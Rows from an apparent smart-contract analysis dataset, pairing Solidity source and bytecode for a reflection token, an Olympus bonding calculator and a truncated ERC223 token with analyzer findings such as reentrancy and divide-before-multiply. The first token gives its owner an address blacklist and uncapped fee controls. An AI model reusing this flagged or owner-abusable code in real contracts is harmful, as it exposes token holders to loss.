function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b157600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600a815269536e6f6f7020446f676560b01b60208201525b60405161023a9190611a25565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7a565b61069b565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa6565b6106b2565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae7565b61071b565b34801561036e57600080fd5b506101fc61037d366004611b14565b610766565b34801561038e57600080fd5b506101fc6107ae565b3480156103a357600080fd5b506102c26103b2366004611ae7565b6107f9565b3480156103c357600080fd5b506101fc61081b565b3480156103d857600080fd5b506101fc6103e7366004611b2f565b61088f565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae7565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b14565b6108be565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260058152640534e4f4f560dc1b602082015261022d565b3480156104bd57600080fd5b506101fc6104cc366004611b2f565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b48565b610935565b3480156104fd57600080fd5b5061026361050c366004611a7a565b610973565b34801561051d57600080fd5b5061026361052c366004611ae7565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7a565b6109d4565b34801561058257600080fd5b506102c2610591366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2f565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c37565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c98565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c37565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c37565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c37565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c37565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6c565b9050602002016020810190610a359190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c98565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c37565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c37565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb3565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611ccb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164282826114c0565b82101561165e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116885760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117418385611cb3565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106ac565b60006118c18385611d92565b9050826118ce8583611d70565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112df8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112df82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112df8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202b636fe438dc14f0382d648b7d5c5bfe9c9a45d83e85af6ea70ad41b17aaa95d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,897 |
0xe2cabe86071f6ae31e1b4634baa06522b838a148 | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract OlympusBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
function getKValue( address pair_ ) public view returns( uint k_ ) {
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( pair_ ).getReserves();
k_ = reserve0.mul(reserve1).div( 1e9 );
}
function getTotalValue( address pair_ ) public view returns ( uint _value ) {
uint k = getKValue( pair_ );
_value = k.sqrrt().mul(2);
}
function valuation( address pair_, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( pair_ );
uint totalSupply = IUniswapV2Pair( pair_ ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address pair_ ) external view returns ( uint ) {
( , uint reserve1, ) = IUniswapV2Pair( pair_ ).getReserves();
return reserve1.mul( 2e9 ).div( getTotalValue( pair_ ) );
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806332da80a3146100515780634249719f14610089578063490084ef146100b557806368637549146100db575b600080fd5b6100776004803603602081101561006757600080fd5b50356001600160a01b0316610101565b60408051918252519081900360200190f35b6100776004803603604081101561009f57600080fd5b506001600160a01b0381351690602001356101a0565b610077600480360360208110156100cb57600080fd5b50356001600160a01b0316610248565b610077600480360360208110156100f157600080fd5b50356001600160a01b03166102e3565b600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561013d57600080fd5b505afa158015610151573d6000803e3d6000fd5b505050506040513d606081101561016757600080fd5b50602001516001600160701b03169050610197610183846102e3565b610191836377359400610301565b90610363565b9150505b919050565b6000806101ac846102e3565b90506000846001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101e957600080fd5b505afa1580156101fd573d6000803e3d6000fd5b505050506040513d602081101561021357600080fd5b5051905061023f670de0b6b3a764000061019161023861023388866103a5565b61051c565b8590610301565b95945050505050565b6000806000836001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561028657600080fd5b505afa15801561029a573d6000803e3d6000fd5b505050506040513d60608110156102b057600080fd5b5080516020909101516001600160701b0391821693501690506102db633b9aca006101918484610301565b949350505050565b6000806102ef83610248565b905061019760026102ff83610534565b905b6000826103105750600061035d565b8282028284828161031d57fe5b041461035a5760405162461bcd60e51b81526004018080602001828103825260218152602001806108106021913960400191505060405180910390fd5b90505b92915050565b600061035a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061059e565b6103ad6107d7565b600082116103ec5760405162461bcd60e51b81526004018080602001828103825260268152602001806107ea6026913960400191505060405180910390fd5b82610406575060408051602081019091526000815261035d565b71ffffffffffffffffffffffffffffffffffff83116104ad57600082607085901b8161042e57fe5b0490506001600160e01b0381111561048d576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b031681525091505061035d565b60006104be84600160701b85610640565b90506001600160e01b0381111561048d576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b600060038211156105905750806000610558610551836002610363565b60016106e0565b90505b8181101561058a5780915061058361057c6105768584610363565b836106e0565b6002610363565b905061055b565b5061019b565b811561019b57506001919050565b6000818361062a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156105ef5781810151838201526020016105d7565b50505050905090810190601f16801561061c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161063657fe5b0495945050505050565b600080600061064f868661073a565b915091506000848061065d57fe5b868809905082811115610671576001820391505b80830392508482106106ca576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b6106d5838387610767565b979650505050505050565b60008282018381101561035a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600080806000198486099050838502925082810391508281101561075f576001820391505b509250929050565b6000818103821680838161077757fe5b04925080858161078357fe5b04945080816000038161079257fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122007b4fc1fb4f3e40b178affcd23577c97f07cc528c9e0f5c05d9be284391e4a6064736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,898 |
0xfe6e165757786bf49d121989f2fb6f3fa325bcef | pragma solidity ^0.4.24;
contract ERC223Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
